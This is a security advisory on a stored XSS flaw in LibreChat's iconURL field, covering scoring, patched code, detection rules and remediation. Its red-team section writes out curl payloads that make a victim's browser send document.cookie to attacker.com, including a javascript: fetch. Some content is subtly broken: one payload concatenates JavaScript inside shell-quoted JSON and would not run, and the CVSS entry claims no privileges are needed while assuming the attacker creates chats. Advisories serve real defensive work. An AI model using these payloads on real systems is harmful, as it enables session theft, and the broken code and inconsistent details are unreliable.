CVE-2025-66450

Executive Summary

CVE-2025-66450 is a stored Cross-Site Scripting (XSS) vulnerability in LibreChat versions 0.8.0 and below. An attacker can inject malicious code into the iconURL parameter of a chat POST request. This code is stored in the chat and executed when other users view the shared chat link. The vulnerability allows for privacy loss via external resource loading (e.g., tracking pixels, JavaScript beacons) and potential session hijacking. The fix in version 0.8.1 sanitizes the iconURL input.

Supply Chain & Package Security

LibreChat is an open-source Node.js application. The vulnerability is in the application's own code, not in a direct dependency. However, the attack vector relies on the application's failure to sanitize user-supplied URLs, which is a common issue in web applications. No malicious packages or compromised dependencies are involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must view the shared chat link.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., cookies, page content).
• Integrity (I): Low (L) – Limited ability to modify content (e.g., inject tracking).
• Availability (A): None (N) – No impact on availability.

CVSS Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires user interaction (clicking a link) but can lead to significant privacy loss and potential session hijacking.

Deep Dive & Mechanics

The vulnerability resides in the chat creation endpoint. When a user creates a chat, the iconURL parameter is accepted without proper validation or sanitization. An attacker can craft a POST request with a malicious iconURL value, such as:

iconURL = "javascript:alert('XSS')"

or

iconURL = "http://attacker.com/tracker.png"

This value is stored in the database and rendered in the chat interface when other users view the shared chat link. The application does not sanitize the URL before rendering it in an <img> tag or similar HTML element, allowing the execution of JavaScript or the loading of external resources.

The attack flow:

1. Attacker creates a chat with a malicious iconURL.
2. Attacker shares the chat link with a victim.
3. Victim clicks the link and views the chat.
4. The malicious iconURL is rendered, executing the attacker's code or loading a tracking resource.
5. The attacker can steal cookies, session tokens, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (<= 0.8.0):

// In the chat creation route
app.post('/api/chat', (req, res) => {
    const { iconURL } = req.body;
    // No sanitization
    const chat = new Chat({ iconURL });
    chat.save();
    res.json({ success: true });
});

Patched Code (>= 0.8.1):

// In the chat creation route
const sanitizeUrl = require('@braintree/sanitize-url').sanitizeUrl;

app.post('/api/chat', (req, res) => {
    const { iconURL } = req.body;
    // Sanitize the URL
    const sanitizedIconURL = sanitizeUrl(iconURL);
    const chat = new Chat({ iconURL: sanitizedIconURL });
    chat.save();
    res.json({ success: true });
});

The patch uses the @braintree/sanitize-url library to strip dangerous schemes (e.g., javascript:) and ensure the URL is safe.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A running instance of LibreChat <= 0.8.0.
• A listener to capture exfiltrated data (e.g., a webhook or HTTP server).

Exploit Steps:

1. Craft the malicious request:

   curl -X POST http://target:3080/api/chat \
     -H "Content-Type: application/json" \
     -d '{"iconURL": "http://attacker.com/tracker?cookie=" + document.cookie}'
   

2. Share the chat link: The attacker obtains the chat ID from the response and shares the link (e.g., http://target:3080/chat/CHAT_ID).

3. Victim views the chat: The victim's browser loads the malicious iconURL, which sends a request to the attacker's server with the victim's cookies.

Alternative payload (JavaScript execution):

curl -X POST http://target:3080/api/chat \
  -H "Content-Type: application/json" \
  -d '{"iconURL": "javascript:fetch(\"http://attacker.com/steal?data=\"+document.cookie)"}'

Blue Team (Defender)

Detection:

• Monitor for POST requests to /api/chat with suspicious iconURL values (e.g., containing javascript:, data:, or external domains).
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting:

• Search logs for iconURL parameters containing javascript: or http:// pointing to known malicious domains.
• Review database entries for chats with unusual iconURL values.

Containment:

• Immediately patch to version 0.8.1 or later.
• If patching is not possible, implement a WAF rule to block requests with suspicious iconURL values.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/chat with iconURL containing javascript: or data: schemes.
  • Outbound connections from the LibreChat server to unknown external domains (tracking/beacon).
• File IOCs:
  • Log entries showing iconURL with suspicious content.
• Behavioral IOCs:
  • Unexpected chat links being shared externally.
  • Users reporting that their chat links load external resources.

Detection Engineering

YARA Rule

rule CVE_2025_66450_LibreChat_XSS {
    meta:
        description = "Detects malicious iconURL payloads in LibreChat logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66450"
    strings:
        $s1 = "iconURL"
        $s2 = "javascript:" nocase
        $s3 = "data:" nocase
        $s4 = "http://" nocase
        $s5 = "https://" nocase
    condition:
        $s1 and ($s2 or $s3 or ($s4 and #s4 > 1) or ($s5 and #s5 > 1))
}

Sigma Rule

title: CVE-2025-66450 - LibreChat Stored XSS via iconURL
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /api/chat with suspicious iconURL parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/chat'
        cs-uri-query|contains: 'iconURL'
    keywords:
        - 'javascript:'
        - 'data:'
        - 'http://'
        - 'https://'
    condition: selection and keywords
falsepositives:
    - Legitimate use of external icon URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66450 - LibreChat Stored XSS via iconURL"; flow:to_server; content:"POST"; http_method; content:"/api/chat"; http_uri; content:"iconURL"; http_client_body; pcre:"/(javascript:|data:|http:\/\/|https:\/\/)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreChat to version 0.8.1 or later.
2. Validate input on the server side for all user-supplied URLs.
3. Implement Content Security Policy (CSP) headers to restrict resource loading.

Long-term Measures:

• Conduct regular security audits of user input handling.
• Use a web application firewall (WAF) to block malicious payloads.
• Educate users about the risks of clicking on shared chat links from untrusted sources.

Workaround (if patching is delayed):

• Disable the iconURL feature by modifying the application code to ignore or hardcode the parameter.
• Implement a reverse proxy that sanitizes the iconURL parameter before it reaches the application.

Valters IT
Securing Digital Frontiers